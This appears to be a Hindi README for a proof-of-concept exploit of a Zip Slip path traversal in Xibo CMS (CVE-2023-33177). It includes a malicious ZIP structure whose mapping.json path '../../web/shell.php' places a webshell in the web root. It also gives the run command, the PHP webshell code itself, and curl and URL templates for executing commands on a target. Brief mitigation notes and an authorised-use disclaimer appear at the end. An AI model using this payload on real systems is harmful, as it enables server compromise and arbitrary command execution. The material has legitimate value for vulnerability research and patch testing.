
यह एक्सप्लॉइट Xibo CMS (CVE-2023-33177) में एक **पथ ट्रैवर्सल भेद्यता** प्रदर्शित करता है जो दुर्भावनापूर्ण लेआउट आयात के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देता है।
यह एक्सप्लॉइट Xibo CMS (CVE-2023-33177) में एक पथ ट्रैवर्सल भेद्यता प्रदर्शित करता है जो दुर्भावनापूर्ण लेआउट आयात के माध्यम से रिमोट कोड निष्पादन (RCE) की अनुमति देता है।
CVE/सलाह: CVE-2023-33177 प्रभावित संस्करण:
भेद्यता प्रकार: पथ ट्रैवर्सल (Zip Slip) प्रभाव: रिमोट कोड निष्पादन (RCE)
Xibo CMS प्रमाणित उपयोगकर्ताओं को ZIP आर्काइव के माध्यम से लेआउट फ़ाइलें आयात करने की अनुमति देता है। आयात कार्यक्षमता mapping.json फ़ाइल में फ़ाइल पथों को ठीक से मान्य करने में विफल रहती है, जिससे हमलावर पथ ट्रैवर्सल अनुक्रम (../../) का उपयोग करके इच्छित लाइब्रेरी निर्देशिका के बाहर फ़ाइलें लिख सकता है।
mapping.json में पथ ट्रैवर्सल इंजेक्ट करता है: फ़ाइल पथ के रूप में ../../web/shell.php का उपयोग करता हैlibrary/../../web/shell.php पर ट्रैवर्स किए गए पथ में वेबशेल रखता है/var/www/cms/web/shell.php पर हल होता हैZip contains: library/../../web/shell.php
Xibo reads: library/ + ../../web/shell.php (from mapping.json)
Xibo writes: /var/www/cms/library/temp/ + ../../web/shell.php
Result: /var/www/cms/web/shell.php ← Webshell in web root!
python3 create_exploit.py
यह दुर्भावनापूर्ण लेआउट पैकेज युक्त exploit.zip बनाता है।
xibo_admin / password)exploit.zip अपलोड करेंcurl 'http://localhost:8080/shell.php?cmd=id'
एक्सप्लॉइट ZIP में शामिल है:
exploit.zip
├── layout.json # Valid Xibo layout definition
├── playlist.json # Empty playlist (triggers JSON import)
├── mapping.json # Contains path traversal payload
└── library/
└── ../../web/
└── shell.php # PHP webshell (gets extracted to web root)
एम्बेडेड वेबशेल न्यूनतम है:
<?php system($_GET["cmd"]); ?>
इसे इस प्रकार एक्सेस करें: http://<target>/shell.php?cmd=<command>
पैच किए गए संस्करण:
शमन रणनीतियाँ:
.. या निरपेक्ष पथ वाले पथों को अस्वीकार करेंयह एक्सप्लॉइट निम्नलिखित के लिए प्रदान किया गया है:
इस एक्सप्लॉइट का उपयोग उन सिस्टम के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है।
complexusprada नवंबर 2025